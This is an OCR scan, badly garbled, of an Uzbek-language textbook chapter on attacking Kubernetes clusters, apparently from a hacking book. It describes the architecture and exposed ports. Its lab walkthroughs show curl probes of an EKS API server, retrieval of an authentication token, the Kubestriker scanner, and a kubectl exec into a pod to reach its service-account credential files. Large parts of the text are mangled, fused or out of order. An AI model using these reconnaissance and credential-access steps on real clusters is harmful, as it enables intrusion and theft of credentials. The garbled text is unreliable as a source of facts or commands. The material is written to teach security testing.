Ular odatda .ma\-llab-quwatlash mavjud bo‘lsa ham.
i tal”> uskunasint 99 T oblanadi, birog Windows
PTEAL gahi W8 S talab odatda L1nuX tlzlkenga}’moqda.
sretes un asosiy le tobora ' . o bl
!(uhcmclcs uci} _ ~”ab_quwatlash ham O o gizigish bilan K}lbem es boshag-
1shchi tugunlarini q0_ Kturalarga bo‘lgan 1\5.1 i mumKin. Har bir yangi Vl?l’Sl)/ :
Bulutga mos arimh;: Zlarlll'aﬁ paydo bo*lisht Mt lashib borishi mumk}[,}, -l[JSdi-
PR o 1 ishlash : : Lot ehialadi,
ruv 11?,1:1‘11_}3:11?111El {1 ekspluatatsiya qil y LESU!].a“ ki
E[tlll &Ez;znlicll:t}aernelesga hujum
cstlari va X
bunda himoya kontekstlar! » .
aif tomonlarini tahli

(control plane)ni tu-
dagi konteynerlarni

©iliq tushuni
e lotrirasinl to ]lq
~jtekturasin! onent 1
Kubernetes arxie®™ o. i komponent T
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oladi. =imning standart ) me; kendi
bu ”'{. Jbu zona (izimning 1acre
firn. US E
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uchun mas ‘uldir 2 ¢ yuklame: 085 ma Tumotlar maye
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dalanmehi Kubernel Jadigan mayd
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: tugunlari (No-
deb ataladi. ragi bo‘lib, Kubernetes tugu

i i la
m

jzimn X ; : bl
rver le_ >Jumot almashlshadl- Bu ichki

- API Se
— API Server: AP 2 o
des) va Kubernetes k"mpar API Servet orq

nadi. Barcha komponent
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komponentlar bi :
r bilan birga t ;
i a
va administratorlar Ap[g Serquc; komponentlarni ham oz ichi
o 2
lar ham undan foydalanadi rdan foydalanadilar. shuningde]k:a {])]?q[. Opsaton
— Eted: Bu ) . alohida konteyner-
1 : nazorat tizimi /
ichiga c-)Igan kalit-qiymat saq I kol'n;')o-nentlari uchun ma’l
katalogiga faylsiz mugobil i ovchi tzimir, Bu Unix aperatsion tin g ot
ridan biri bo‘lib, API ServerISOb]anadi' Eted ham 1iyimnFemtS]°" tizimidagi /etc
: : 1 ‘ - 8] L
mumkin, bu esa boshqa kom rqali so‘ralgan har bir API 2]: asosiy komponentla-
shi mumkin. ponentlar tomonidan o*gilib E.0c1331 Etedga yozilishi
— kube-sched . so‘rov sifatida bajarili
e uler: Bu rej p a bajarili-
ta’minlaydi rejalashtirish tizi
yerda re?(il' ku{b.e fSChedu!er nima rejal tlz.l m
oy ashtirilishi kerakligini 2l ashtiril
ta’minlaydi. gini belgilaydi v
— kube-contr:
3 oller-m
bir . anager: o
bOSEechta na{f:oratchllar totplagmid-Bu turli ishlash kom
garuvchi ularni tashkil etadi ir. Har
i.

— cloud-controll
- er-manager:
- er:
o-z}?-el:l uch'u n.abStraktSiya bo‘glib ](CIOUd'conl"O"er-manau- .
izimlari bilan ishlashiga i k, ubernetes’ning turlj ger har bir bulut pro-
mkon beradi. Masal;1 A\l:v];lf](:“ provayderlari yoki
: agi Elastic Load Ba-

lancers v
a Google L
ler-m Load Balancers bilan i
anager gatlamida amalga oshs‘ F)ll lan ishlash imkoniyat|
iriladi yatlari bu cl
g oud-control-

Boshgqaruv tekisligi
isligidagi b
komp{;‘egﬂar Qindagilarﬁi]r- e
~ Kubelet: Kubelet Kubc

— Kube-proxy: ubernetes API Server®
- xy: SSH : eIV
X = ) portla . ga aloqga o* .
ll'[aSI. Bu tizimga ichki klaste c!rm_ f)ldln 4a o'rnatadigan agentdir.
imkon beradi. SREL GV
30.1-rasmda K
ko‘rsatilgan. ubernetes arxite

idil’; uk

ishi qali;np(’“?"llarning ishlashini

a operat lay rejalashtirilishi va qa-
siyalar to*g'ri bajarilishini

bir nazoratchipon-emlarini boshqaradigan
ma’lum bir vazifaga ega va

qa kompo
nentlar v g 22
a har bir individual tugundagi

ga uzatis|
. 1 -
idual l(OmEa 0°xshash tarmoq uzatish vo-
yHEr]ar blla]'] ﬂloqa o.rnalishaﬂ

kturasini
ing tarkibiy gqi
rkibiy qismlari diagrammasi

Containers

I Kubernetes Node

Kubernetes Control Plane

K
o ubernetes Data Plane
rnetes arxitekturasi

30.1

Kubernetes API serverlarini barmoq izlari
orqali aniglash
_ azi AP1 Server'dir. API Server tizim komponent-
!““ o°rtasidagi ko'p alogalarda ishlatiladi. Operatsiyalar turli komponentlar bilan
IShl.ash uchun API Server’dan foydalanadi. Tugunlar API Server orqali boshqaruv
tekisligi bilan aloga giladi. API Server tizim uchun xavfsizlik chegarasidir: AP
5'3_”'31' komponentlarining noto*g'ri gozlanishi tizimning buzilishiga olib keli-
shi mumkin. Ushbu komponentni keyingi laboratoriyalarda diqqat bilan o‘rganib

chigilgan.

Kubernetes tizimining mark

a ishi 30.1: Klasterni sozlash
oan Kali misolidan foyda-

louddajoylashtirilb
H proﬁlini sozlash

Laborato riy
ices uchun GH

Laboratoriyani boshlash uchun ¢
laniladi yoki, minimal bo*lsa, Amazo
imkoniyati bolgan misoldan f'oydalaniladi. e

build skripti lokal Docker ini ‘matISh_ﬂl_tal
dan foydalanish ham mum n. Minimd

kin bolishi Mt
}\_leernetes Service (EKS) ishga tushirish imkoniyatini v
Zimni o*z ichiga oladi.

ab giladi. Cloud Shelllar-
| talablar Amazon Elastic
a Docker o‘rnatilgan ti-

=khali)-[~ fGHH\'d.f'ch:‘ﬂf’ Lab]

E( kalis
S /build.sh®

~

[+] Download eksctl y
[+] Running ekscil 10 puild a cluste!
- OMITTED FOR BRE vITY—> i
A e O [ it sock-shop:"
6228067 us-east-1. elb.amazonaws. com®
APE"

echo "[+ ] The foHon'a"ﬁg URLC
ad2e3647a85/946 7758982 94b.‘$c4.89;.9d- fo‘;'—fhe Kubernetes

onaws.com®

https://C 34DD3F33
o ishga toshifs P 6 repozitoryasining “ch30THEL
bt ;‘:_’d Skrlpillz_lﬁgitnuan : wpuild.sh” puyrug'l ben'ladl.d.‘bmr‘dsh"
7 . = 9 . . L] .
buym:‘l i&?)a?a:;lia:1;ian 0N Kerak bo‘ladigan ikki ma’lumotni taqdim etuvchi
{=
tgan ilovaning URL-manzili.

jzmat ko‘rsatay? s :
pl Serverming URL-manzili.

chiqishni ko‘rinadi: N
Jancer orqd !
r ice orgall Kubernetes

— Elastic Load B

—Elastic Kubernetes €
ralabalarga fovdali

Jlova yaxshi xavfsizlik anme iyol-
fsil 10 ialib o ‘tilgan. llo-
n ishlab chigilgan mikro-

Ve uh:mnusﬁk maumkin. lekin
Jaitt kf'rifihﬁ.
J'ﬁ!.’}cfcl baid
ummu’:{;

Eslatma: Us
bo lishi uchun uni k
larini o'z ichiga oladi,
Vaning nomi Sock Shop ;
servistar bo ‘vicha referehs Jovadir.

iih C 1

Jib chiq?’ i
ot reyingi be
eave Works !

fad
I~
e |




Build skripti :
ripti laboratoriyami
. - r i 1 |
o‘rnatadi: Tyamizning bir qismi bo‘lgan bi
g ir nechta elementlarni
ntlarni

~ Bu Amazon Elasti
Z astic Kube
— Sock Shop m: rnetes Service (EKS) xi
p mikroservi KS) xizmati i .
— Sock Shop mik veSlar demo dasturining n 'al_:Fian foydalanadi.
- Da ' roservislar demo dasturi g nusxasini joy
. Z“" internetga ochiq giladi B
— Kubern s i .
etes dasturining nusxasini mahall;
i

_ Ushbu muhit kon P
lishini ko‘rib chigish :[ziz‘:]rttmmg ishlab chiqarish muhitje:

dek, bu bif nechia names f:ng t{nkoniyatlar maydoni filgcl c_]ﬂnda.\" joylashtiri-

muammolar ganday Payfjii) ‘]ﬁr b_ll‘?ll ishlash imkonini ll':let'ajfjlm e

da namespace’lar operatorlarg "?h_lnl ‘kuzalish imkoniyati T )

ga tizim ichida yuk]ama’émiII;lO}‘*]z}ralnadi. Kubernetes-

ish imkonini beradi.

bu esa mantigiv ai
antiqiy ajratish
] uchun : h
yuqori darajadagi mantigiy [
s guruhlarni o'z ichi-

ga oladi. O*z-0*zi
; -0‘zidan. n Z
2 amespace"l i
a izli
mi Xan‘S[J[k na70ral]ar' f
4 1 S1 Eﬂ.idﬂk y
0 Il'l'ldbl'l\

kerak. Ular ruxsatnom ‘e
22?1&;( r%lxsatlﬁangan abs?::lzg?;aoq;ﬁ:r:ﬁhyn is_;h]ab chigilishi mumki
"' ::1 ra ko. prog hisoblanadi. Muvof; ari bo'-lib, jismonan ajratr']]], n, élﬂmo uflar
: Al qu_)’idagl komponentlar bilan Iq Xarajatlarni minimallas] '2:21 % c]cmcnl'ldr—
. t;c:igdﬁfmbn?;‘]gan - build-?:i]?lzﬁa?."‘)’ilgan: N
ance turi bilan bir Kubern;ies Nod
C.

- lashtiradi.
monitoringni o*rnatadi.

Ly :
y ravishda joylashtiradi.

,‘f”‘! B
¥ IAYAY I
4 INTCHny { .il\fl'!!(lr flh({r;){i'_l‘)h”(“i T 1 !
L5y Haus 1
“’tl' [

FeHorig - ‘I{ Y ;
aroriva e = o' chirih i i f/.\c!_ ginmmuat
'\'{”‘“J('””l[”".} g v AUy f;‘”f'.ff.f l’J' . ’
0k il 1
camavtirish uchun by imk —
nKonival
valtdar

lan hiri ;
iri ho: :
o f“_\-j',',‘\hf' | ) fffl_ 1?.':..'“'.!
mumkin, Ushbu labo-

ligini ¢ ;
esda titting, Lahoratorinvd

hir ne
i necha ov davomi
N davomida ochi
Crig qr}ff

?ﬁllt : .
) fcr/:m.*\fm;g,i_—,E“_\h_u stiladi
. : ( .

Kube
Ushbi bobds Kubernetas :nnueht;?dAPl serverlarini topish
1dagi API end X

amalga oshirishd
an oldin, bi i ini
iroz orqa fonni ko'ri pointlarini ko*rib chigiladi. Buni

U e b chigi
etilgan: Iqish kerak. Avvalo, Internet-

— Sertifikat sh .
affofligi endpoi

= DNS asseitios w2 ndpointlarni .
- Kod bﬁ(])j]'d?gl Xizmatlarni aniqu‘:SEShkor lad,

L yoki nam '
kkinchidan, agar ma‘\fjuL-:l:lnall(I]ar tyLIboriSh orqali ma’ly

asterga ulan motlarni oshkor qili
g or qilish.

bo*
Isa, ushbu endpointlarnj to an konte .
ynerga kirish imkoniyati

e’tibor bermasd pish mumki
an, “Qo‘shi mkin, :
Qo‘shimcha manbalar™ Ha_r bir mumkin bo® :

alar bo‘llmidagi ba’zi o lg&rl texnlkaga

z1 maqolalarni ko‘rib

chiqish tavsi 2
. ya etiladi, bu
ammonin » bu yerda ushb .

g qanday paydo bo‘lishi ko‘;;;‘;[mmtlar qanday ochilayotgani
an- n va mlJ"
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o Hozircha. Kubernetes tomonidan ochilgan portlarni kuzatib. borish zarur,
1mo Internetdan faqat 443-port ochilishi kerak. Quyidagi 30. I-jadvalda potensi-

al 5 2o e s : " .o
ravishda ochilishi mumkin bo*lgan barcha portlar ro"yxatl keltirilgan.
otlar turli usullar orqali, jumladan, ser-

Kubernetes Server hagidagi ma’lum
verlarga yoki 1P manzillarga uzatiladigan Birxil Resurs Identifikatorlari (URIs) va
serverlar tomonidan yuboriladigan sertifikatlar kabi boshqa ko‘rsatkichlar orqali
oshkor bo*ladi. Qand-a).- URIlarga e’tibor berish mumkin? Mana, digqatga sazovor

Kubernetesga xos URINing ro‘yxati:
e /version: Javobda oitVersion. goVersion yoki -6p]atf0nn*' kabi kalit so‘zlar

bo‘lishi mumkin.

. fﬂpi/\’”pﬂdS: Agal‘ javobda “3]3iVEI'$iOn‘! kO"I'iI'liba
},92“ faca. derak, amemiﬁkalsiyalanmagan foydalanuve
digan jiddiy tizim muammosini topdingiz

; * /api/v1/info: Bu pods bilan bir xil.
0°g"ri o*rnatilganligini ta*minlash uchun qo°
-oan Kubernetes

* /ui: Bu kam ishlatiladig

“pods is forbidden™ deb
hilar pods’larga kira ola-

lekin umumiy magsadli ruxsatnomalar

shimcha endpointdir.
Dashboard loyihasining URI sidir,

uni Internetga hech qachon ochmaslik kerak.
30.1-jadval.
Klassiﬁkﬁtm‘ uchun TCP va UDP Portlar
______._——-"""-_]
Proto- Tahdid vektori
-__E_a_l_ Port Manba Magsad
'____.‘—-'-'-.-.--. 2 13 -13 : - - »e L I
| Internetga ochid bo-Imasligi kerak. lekin ko pincha
A - o5 sifatids kiritilishi mumkin. ammo
443 | Nodes. APl | ubernetes po*ladi. Bu eslatma sifatida KiF
TCP | 6443 requests: l\ul;‘gewe 3 angidiy zaiflik hisoblanmaydi. 443-portdan tashqari
8086 end users AP poshga portlar ba'zida ishlatiladi.
[ ___..---"ﬂ-‘--"'""ﬂ Internetgd hech gachon ochig bo*Imasligi
kerak va konteynergd ham ochilmasligi lozim.
vishda ochig.

rol ¢
Cont Kubelet API standart ra

e plane
_——
Bu hech qacho

TCP | 10251 Control | gcheduler .
plane :

K lastarning salo

]‘lurlikl

n Internetga voki rcjalnshlim\-'cl'ni

ga achilmasligi kerak.

— monitoring

matligini saqlaydi
jech gachon ochmang

[ il

Conlro er

TCP | 10252 | Nodes Manager
e

| Read-OnlY

achon ochilmasligi va konteynerga

a hech q
kerak. Standart ho'yicha yogilgan.

Internete 1
ligi

ham ochilmas

TCP ” Control ol
il 10255 p]a“e KubelElA . ‘
Cloud Cloud gajuylashLirish xizmatini laq:;i]m
TCP | 10258 Control Controlier ctuvehi prova)-'dcrlar. Hech gachon ochilmang.
- planc Manager :
[ ) Konic}‘ncriurdm; yoki [nternetdan yozish
TCP 2379-| C ontrol Ecl_d Stcn-cr uchun ochilmashigi kerak.
| 2380 planc Cliet
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Skannerlar, shuningdek, skanerlash
Muayyan matnga e’tibor berishi mumkin:
* “Kubernetes Dashboard</tjt]e> ushbu satr, Kuberne
ligini ko*rsatishi mumkin bo*lgan HTML ma’lumotlarini

natijasida qaytariladigan HTML da

tes Dashboard mavjud-
oshkor giladi.

Laboratoriya ishi 30.2:

Kubernetes serverlarini barmo

Kubernetes AP] Serverga ulanishnj boshl

bo“lishini ko‘rib chigadi. URL Kubernetes qur

[ltimos, kitobdagi aniq URL’dan foydalanmag]
turli giymatlarni ko*radj.

q izlari orqali aniglash

aydi va qanday obyektlar p:’»l.\'d_o
ilish skripti tugagach ko'rsallladl:
ik kerak, chunki har bir o"quvchi

E(!caﬁ@kaw—[ ~/GHHv6/ch30/Lap ]
S curl -v -k hitps://64B7 ] 67064B544 3517621 FF IDEOAFOF C.gr
naws.com@
" Trving 44.193.148.65:443..
* Connected 1o 6AB7167064B544 Jii7
com (44.193.J48. 63) port 443 (#0)
<=—-OMITTED FOR BREVITY...~
*ALPN, server aceepted to use h2
* Server certificate:
* subject: CN=hupe-
* start date: Aug 301:18:50 2021 GMT
* expire date: Aug 301:24:05 2022 GmT
* issuer: CN=K ubernetes®
<==-OMITTED FOR BREVITY-

-——
<

'1"';(”'63”?efe'g-f?ﬁﬂo‘"’.YC)‘IC)J?I(J-szd_' lq‘g‘—”fﬁ?-jebj_‘fe
) x-kubeme.reg.pﬁ Prioritylevel.yjq- Sfladed-2,
/
{

7. us-east-1.eks.amazo-

621FF9DE, 1FOF C.gr7. us-east- 1.cks.amazonaws.

apiserver@®

35-bb19-6¢ 1f712¢2ald®
93-4 Yal-aaln-2436¢ lda688e¢
"kind": "Status "

“apiVersion": ] "

"metadatg " {

i

"status": "F, ailure"

”message "t "forbidden: User \"s,
"reason": "F, orbidden”.

"details" {

r
"code": 403

!Slre”?_‘(ﬂ?o”}’ﬂ")ﬂs|| L cannot gef pﬂﬂ? 1" ”".6

un _1sh]at1115h| mur;i
kshirish kerak. Bil’i.ﬂChlSI, A
i dim etadi. E"tlbor.bermg,
‘aqlsm CN). Bu sizning Ku-
: sertifikat mar-
e berishin

‘ i nuqt

) .adiean so'nggLn :

bolishimizga imkon bemdli—’m;ir nechta fikrlarni teK

Kin. Kubernetes-ga ul‘dngﬂ“d_a olingan sertifikatn! %

server ichki PKI Kubernetes'dan elon qiladi (umumiy
berilgan sertifikat umumiy nomnt

art Kube
jud bo'lgan standart B0 ruxsat
i tsiyangizda megne ‘bo lsgertif'll‘:atlarlm berishga
Eerneles konhguim e avchi uning
azi, shuning uchun fo)

kerak bo*ladi
ol . Pl se
Ba’zi yangi I\ubernctessf;am :
N Ko*rsatishi mumkin (ma

i lavhalar-

i ‘shimcha sar :
Sewerlqabc::;hqarish sarlavh'al:':lrln}.
111i1lgnl<e]zn:ligan JSON chigishu.

rvel‘!ari API ;

; I Ser-
n qayub ** bernetes AP
rveridan 4%)%, mi — Ku
« .ty API se i tizi
Eng muhim jihatlardan biri bu : foydalanuve : larini
& muhim |1 _.laqiqlanﬂaﬂ- B ‘negi nugtalari
O'rsatiladigan satr — ==

S0
a API

i n boshq

Ver uchun juda noyobdir.

Quyida mavjud bo-lishi
ko'rib chigiladi:

: ‘ea
mumkin bO'1E

355
7 us-east-1.eks.amaz
chi0/Labl . cpopEOA
kaliSkali)-[~/GH H"é'{};;}'?iéjss«xfi 53176215
o[ i iz - 7
| - /6AB
S curl -v -k hups.
aws.comversion
J’
“major": "1", oy
“minor": "20+ ”.{ 20 7. oks-8bel 070" di
“gitVersion™: "v1.20. ViT < e
“—-OMITTED FOR BRE [ server Vel‘Sl-.)iﬂmm beradi.
! " : -da ma u 8‘0?
i ¢ ta’l la m 20 ?_ekS_Sb . 2
ta nimani ! qil asdan a 1.20.
" i 1 d . I,
0 Sk ﬂg‘:"t I::ll?l"lkatsi}ram t-a abi tafsllﬂf}?sh e
d . &1 u 41ue ‘:aSl ) I,]r’
S uaEly blodhk; K;berlietes \;ersllz jlan ant arilish:
u :ll:m a} ElII\i fiksatsiya raqaﬂ; pog'langan 4
shunchak *. bila

: 1-1.eks.amazo-
| - |l gr7.us-eds
Ubernetes Service (ET FF?DEMFOFC

Y-

I
30/Labl 551762
- .hrﬁ/l‘.h i 5JAJ
E(&aﬁ@k&!ﬁ-[‘@{j’f 1670648
S eurl -v -k htps:”
nm'.'.s-_(-om,fapﬁﬁpl/prm'o 5 El"fﬂ,"'? rystem’
<-OMITTED F t_l’f} fo pidden: U, " the cht
" - ST oa" i85, . i
;:2:;51 ’:p(ff't nin API 8 oup

" i
H]'-:?HS\ I’.ﬂ”n(}f 1"!5.!
v "

"reason": "Forbidden
"details": |

"kind": "pod"
“=--OMITTED FOR
}

BREVITI




'L“1r i i

Bu ochiq AP serveri |
_ serveri bo*lgani
al so*nggi nugtalami qidirib E:i)gf: uc}ml} Pods API kabi tasdiglanmagan potensi-
bB_u.yerda Akl aUIe"tiﬁkatSiyi;ni ta]z?lz)l Sﬁ'n}%gl nuqtalarni ham tekshiri:h J:umkin
Irl anonim kirish h : qilishini ko*rsatadj $ j
P uquq[Qa eoq b % iy dadl. lj'ihbu API_]'“-]' O [ 2 »h
aksanyati blr n = g 0 [mashﬂl ]\ ]\ . drr [n.: 1€C
echa marta chi . &1 Kerak. chunki ushb - 5
Klaster yangi _ chigarilgan: am : u tuzatishlarning
ilana R mo, operats = ; . .
gilanadi va eng so nggi versiyalarni lquila:on Llé!mlar SR
= etadi.

o Ushbu kitob dav0mid;( :;l t;:)emetesﬂi ichkaridan buzish
k1r1§hning turli usullarj ha g -saytlar, konteynerlar va bc;sh ako* ;s
ga imkon beradigan ko 12;3 ) mavZ.u]ar yoritildi, HUiUm;:hi(} 0 p.lu.b ll?.lm.lrtfrgﬂ
g P'ab mexanizmlar mavijud. Endj ta](irf;‘kl:m:gafkmih';
] zkor atrof-muhi

bo‘ylab ganda

J y harakat qilishi mumkinlio:

konte_ynerlar bilan harakallan:'shu- kml[gmi kO'I‘ibChiqiladi Yuqoridagi boblarda
; agi boblarde

mantigni qo* i i muhok ilib o°tildi
amm Ci L ”_aydl. ammo ko* Xama qilib o°tildi. Kubernetes xuddi s
olar mavjud va Lages CSEIACLSRY
I potensial jihatdan muhimroq mu-

Eng maqb
ul tanlov — Jstj
konteynerlar o‘rtaci stio kabi ishonchli
rdagi tizimlar ma’murga e styani amal
; ndart

q qatlar.n.idan foydalanish. bu
qurilish ja%:}.-(z,?:;]r-mhga. im.kon beradi.

ning bir qismi sifatida
radi. Bunday vositalardan

qari. Istio kabi i
a qil o kabi loyihalar
4 qilish uchun konteynerlar O'rlasidg};n'l‘LS

2 | e ————
— Namespace 3

KS8S Node

30. z-fﬂ L) 177 )e} e €

darajasida kirish mumkin bo*ladi.
0°zini tekshirish mumkin, fagat hujum vosit
qiymatini tahlil gilish kerak bo*ladi. Agar 0
dalanilgan bo*lsa. autentifikatsiya to

biri bu Kubectl deb nomlangan P
bernetes muhitiga hujum gilis
konfiguratsiya faylidan foydal
kubeconfig faylidan foydalanis
tijalarning katta qismi
vosita muhokama gilayotgan
niyatlarga ega.

Keyinchalik. jq buyrug'i yordamida tokenning
asiga o*tkazish mumkin bo*Igan token
penID Connect yoki OAuth2-dan foy-

keni shu giymatda bo‘ladi.
Ko-chirildi va bajarildi.

I_—fkaif@ka.-’f}-[ —/GHHv6/ch30/Lab]
S aws eks get-token ~profile ghh ~cluster

-r "status.token’
kSs-cnws-v 1.aHROcHMG6 ;1-9;(JH111:§}=J.;!! hem9uYXdzLmNv

~name ghh —region us-east-1 | jq

bS8_QWNOaW9uP UdIdENhbGxl-

ckikZW50aXR5J1ZIcnNpb24

—-OMITTED FOR BREVITY->

=ZjYONDZmMmY0O T AwNDBIN2ZmZDYSNTMON2] MGZKNWFhM2NmOTgIMzJKY=01

Laboratoriya ishi 30.3: Kubestriker

Kubernetes’ga hujum qilish uchun foydalanish mumkin bolgan vositalardan
1 ython-ga asoslangan vositadir. Ushbu ilova Ku-

h uchun skanerlash, URL manzilini ko‘rsatish yoki
konini beradi. Bu yerda foydalanuvchi 0°z
di. Bo*sh joyni tejash uchun na-
shuni tushunish kerakki,ushbu
tlar va imko-

anish im ;
hga e’tibor qaratila
ni siqib chiqariladi, ammo ‘ .
atijalardan tashqart ko*plab imkoniya

s I ] - "6 { ')' 30‘1”!‘{’!’] g, M mwayr. s
‘J,{uh}-[ GHH] xf;:;o:”e,fkaﬁ.{kubeﬁc‘()?.{ﬁg.'frl'Oﬂ.f.r'r.kﬁb@/ﬁ'ﬂﬂﬁg ¥V SI’P d)"":/

l_—rkuh

S docker run — ="M -V et coikor ], 0.00
kubestrik— --name kubestriker cloudsecgiy/ A":i;:;ﬁi};}go
root@aasalf498 .’c'd.'/icrrbesn'fkt'f‘# python -m Kt
<-—-OMITTED FOR S mj########################

AR
H

—

##############ﬁ#######

it e i ——— a"r

<w-OMITTED FOR ng-;—f}m

[+] Gearing up Kube-5trt ; e e

C!;i ose one of the pelow oplions: (Use arrow K€

wrl orip

> configfile ©

gf; ot C:;rfi ions: (Use arrov keys)
“hoose one

> default @ .

Kube config custom path o (Use artow ke

Choose one of the b*'ff'f" g’usr
- : o] eksel 0
> ghh.us-east I-;i::m Discoveryi 100%

pneles is: vl

he below OP!

ys)

.;‘0. 7_ek5'-8b€ 107

[+] Performing »
<" OMITTED F*
The version of Kube

sl
Lol
sl




Choose one of the below options: (Use arrow keys)
= authenticated scan®
unauthenticated scan

{+] Scanning Network policies
100%

Chose one of the below options: (Use
execute command on containers

> exit@

Chose one of the below options: (Use arrow keys)

o e e e o s s i ——

< Scan compieted and Results generated wir the target file name

<=-OMITTED FOR BREVITY-

——
Choose process continue or exit : (Use arrow keys)
continue

> exit®
rool'a345d9c47436 7:/kubestrikey s exit®

arrow keys)

Kubect! ilovasi ma’lumot
diversifikatsiyalangan ish jar idi
uchun uni Docker-da ishga tushirj gini local katalogi bilan
bog*lanadi. Konteynerga kirgandan s0°ng, Python yoki nhmdulni chaqiris]; orqali
kubectl-ni ishga tushirish mumkin. Tizimda mahalliy joylashtiriloan kubeconfig
faylidan foydalaniladi. by quyidagilarni ko‘rsatadi gh.usérs—l.eksgtl.io. bu auten-
tifikatsiya gilingan skanerlash bo*ladi, Keyinchalik ushbu bobda hisob ma’lumot-
lariga qanday kirishnj muhokama qgilinadi.

Eslatma: Ushhy maqolani yvozish Pavtida
i maviud emas. Har by klast
o'tish ehtimoli hor-yo ¢
rilgan EKS klasterlari
Hrishi mumékin,

"u.\'—w:s!-f.L*A.\L‘rr'.f'u " osubdoma-
er uchun yaxshi 1qn

- Klast ilgan DN'S nonini targatishga
1ligi anig emas. Bunday o =ouri; “eksctl” yordamide ¢i-
W topishni hujumehitr- ueh -

M sezilarli de iada osonfash-

_ H_ar qanday buyrgq ?folfi konfiguratsiyani bajarish uchyp ushbu bobda
qo shlm'che‘l‘iqacliamlarm bajariladi, ammo shuni tushunigh kerakki, hozirda faqat
ma’muriy jihat arning yugqori darajadagj ko*rinishinj b il ilova va
konfiguratsiyalarni ko*rip, chigiladi. Rmletks Pt Thver

Skanerlash tugagach, skanerning umumi
asbob ekspluatatsiya ashob; bo¢

: : lishga harak
siyalari ekspluatatsiyadan ko'ra zaifliklarn;

Y chigishiga qarash mumkin. Ushbu

at qiladi, ammg asbobning ko*p funk-
aniqlashga Qaratilgan.

kali®kali)

$ cal 64B7]

Performing Sem

-[~GHHv6/ch3 O'Lab)

¢§7 0648544551762 FFIDEOAFoFC &r7.us-east-
ice Discovery on host OAB7167064B54455 17621

1.eks.amazonaws.com.ixt
FFODEOAFOFC, gri.useast-

1. eks.amazonaws.com®.. e
<e—=OMITTED FOR BREVITY--->

T s amed
|| spE#EEE Admin roles ##ERERRR || j|

’ in role
cluster-admin is a cluster admin ro

- puivileoes in Cluster
Group system: masters has Admin Pr m!?{: ek E @
‘,ﬂm'} hk!‘ ot defaudt has Admin Priviiege!
ServiceAccor 2

< —-OMITTED FOR BREVITY---> 1

. - JJJ-J.".'J.I:HJ-‘-J# :
|| upassE Privileged containers rAT n |
LS :

)
letw'rk": True;

. soured wit' {'hostNemw & True}
aws-node is configured Wil wit' {'hostNetw'rk” True;

Aoty Cm!ﬁ?w};‘;’ff.‘ thostNetw'rk": True )

VL wred wil y @
g i 1 ivol'me’: "host-fs-"ar’s ek True}

oo fonred wit' {VO I s Nat iR
e ”’:’f:f :::;:ﬁem'ed wit' {"host'ID". T,
node-exporter e

TTED FOR BRE | -
R o*ne. bir nechta yaratilgan fa)fllar
er ibst nomidan hosil bo*ladi. Bu
olingan uzun psevdo

lean ushbu jurnallar

i Ziggandan s
Konfiguratsiyadan tashqariga chiqq
=

i Klast
« x]og”. Fayl nomi ot
 Ladrih ohiaish kerak *.xlog konventsiyas
e I["hlqlslh adigan tasodifly no-mlasls nish mumkin bo’
Amazon ilO}’da{ 2‘}121 di. Keyinchalik foydala
tasodifiy ism D .

ish kerak:
ti aratish kera
tidaei ikkita elementga tibor q
ro‘yxatidag

rver”ga ulanish uc :
Kuberne Pl Server ga U : i i
,la] 'Targf‘if] i{i7mat hisobi” (@) hisob gaydnom uk
dan ishlatiladigan &2

m lSIa ol nt i X I a.m-
} i iy ; - "2' i Xsus klﬁste d 1
d .d'l ad i.l |- t t 1 ly ] ’rzilari Sla“dan? ba llarl ma )
mavdonide
. 4] k(l ]il
QO]._aI‘J 1

iladi tar-
i a A lan, bosiladigan
guratsiyalar (b e majburiydir, masa
i Ba
tiyozlarga ega.

X . sokon e rtish (©).
'zi ochiq 1m . \arni o°matis -
ij htirish. boshqalar! €53 ne odatda Kubernetes-n
moqni J[:’):I::sdq e isilgat
Kubectl-dé

1 konﬁguratsi)-’a]ar
‘ljallanger- : uratsiyalar
i lJ'd:al:IEo”rSRt“ad'ga“ kmil flii-hnaQan joy s
Sukut bo chf b, ular nom maydon D L
figuratsiyalar bolll : b o<lgan boshd
: ko‘rish m
Istio kabi ko'rish

: entlardir. -l
umkin . ‘shimcha kol.npon nt standart imtiyoz-
ilan birga keladig un xavili? ServiceAccou
. il . chu !
uchun to*plam Jar nima U
ammok
Bunday mu

© o*aiy oladigan tajo-
festlarni 0°q1y 0 : b ol
: nchi muammo & manfely material bo‘lgan
1 ega bo'lgan birine : fikatsiya qilish uchu
oo tentiil
da au ;
vuzkorga klaster

i ‘ovuzkorga klasterdan
‘shi kin. Bu tajovuzkorga & :
Kirishga imkon berishi mu?;erishi o Bl tajovuzkor
T)ga kir!
Web Token (JW1)8 it

58 imkon . in gilishimiz

shirishga 1MXOT == n zararni taxmin qUISTLITES
‘ iguratsiyasini 1S18% tllll':azishi mumkin bo cligfl masofaviy kod bajarilishin!

0‘z konfigur irish orqali € catida biz veb-ilovada {1 <h uchun ko*plab boshqa

nisg klaswrgiiang‘ich nuqta Sil{ajumchilar uni taqlid qilis

mumkin. Boshlalis jz. AU

aniglaganimizn!

oni-
tsiyalar tom

ha konfiguratsiya

huoibae ut bo‘yicha nomlar

ing ichki gism-

odatda kengaytir_ilga.m k.op—
lashtirishning bir qlSlTllC'ilI‘.
zimda foydalanish

%)
Tt
S




- g i” —
- 3
¥

hujum vektorlarini topdilar., s

hu jumladan hujumni shakllantirish ue
bloknotlaridan foydalanishdi,

Laboratoriya ishi 30.4: Ichkaridan

Quyidagi Default nomij Joylashuvdan foydalanad
tasvirlari mavjud bo*lib, ulardan ikkita asosiy labor
mumkin. Dastlabki laboratoriya oddiyl;
viridan foydalanadi. Ushbu ishd
tarmogni skanerlashga asoslangan:

hujum qilish

|:—( kaﬁ@kaﬁ)—[m/GHHvtS/ck_?f')fLab Ji
S kubectl exec -j Stkubectl gey pods | a'k '} print 1} | grep -v NAME |

grep bash) -- /bin/bash@

root@bash-75(fdc58-8vx 6y
DISTRIB_ID=Ubunty
DISTRIB RELEASE= 20.04
roolabash-75fde38-8vx Gy /4 uname -q©
Linux bash- 73ffdc58-8vx6y 5. 4.129-63.229
21:22:08 UTC 202) X86_64x86
root@bash-75ffdc58-8vy 6y ls
serviceaccount/@
total ()

Invxrwxrwx | root root
Invxrwxrwx 1 root root
Irwxrwxrwx 1 root rooq
Invxrwxrix | root root
-2021_08_04_19_50_56.12769099;
drwxr-xr-x 2 root rpoy | 00 Aug 4 19:50 2021 08 04 19 30_36.1276909¢9 i
drwxrwxrwi 3 root roor 1404ug4 19:59, =~ -~ -'"2036.12
drwxr-xr-x 3 roof roof 28 Aug 4 19:50

/# ecat .fafcx".’sb-rez’ease@

